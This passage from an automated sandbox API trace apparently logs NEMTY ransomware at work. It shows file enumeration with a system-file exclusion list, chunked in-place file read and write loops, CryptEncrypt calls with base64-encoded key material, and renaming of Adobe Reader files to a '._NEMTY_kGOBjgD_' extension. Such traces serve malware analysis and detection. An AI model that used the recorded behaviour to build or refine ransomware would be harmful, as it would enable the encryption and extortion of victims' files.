lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.127] CloseHandle (hObject=0xffffffff) returned 0 [0201.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0201.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0201.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0201.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0201.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.127] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid._nemty_kgobjgd_")) returned 0 [0201.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.128] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="ADD587~1")) returned 1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2=".") returned 1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="..") returned 1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="...") returned 1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="windows") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="$RECYCLE.BIN") returned 1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="rsa") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="NTDETECT.COM") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="ntldr") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="MSDOS.SYS") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="IO.SYS") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="boot.ini") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="boot.ini") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="AUTOEXEC.BAT") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="ntuser.dat") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="desktop.ini") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="CONFIG.SYS") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="RECYCLER") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="BOOTSECT.BAK") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="bootmgr") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="programdata") returned -1 [0201.128] lstrcmpiW (lpString1="Adobe-Japan1-H-Host", lpString2="appdata") returned -1 [0201.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0201.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0201.129] Sleep (dwMilliseconds=0x5) [0201.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b89c5f0, dwHighDateTime=0x1d561e8)) [0201.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b89c5f0, dwHighDateTime=0x1d561e8)) [0201.144] GetLastError () returned 0x5 [0201.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.144] GetLastError () returned 0x5 [0201.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.145] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0201.145] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="ekXxo+n3WV3ouTUMbvK9boziZfAoJUo3JQBci3ZhbN9J/6F0ryJyWpQDx/BnwFmk\r\nJkwMDBpf2Z1iwazNN2I7r9t6C8NzSfACSoiYJJeoq24G+90q2bTVjlmEwbir3TVz\r\n0asGOeugow8WlaNaMK8toIR1YeFOJzXLVezWETu6/hxIntutdS+kinmYVcHx9Kab\r\ntJZeCLFXQKLrI7+/3bkWFKSWwdc3YvK/wnl+cOJsBNFpq7TTvalPcY5fojdFgbyY\r\nBa/yHBtcvUNlJ4fYx5qnr6g0mLwm+e8Dpf1zDAWi5mnPu4Xo3G5MPltSAqj7xeB6\r\nGzjiKw3m49zxlyMKjIClQQ==\r\n", pcchString=0x653e91c) returned 1 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0201.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.145] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.183] ReadFile (in: 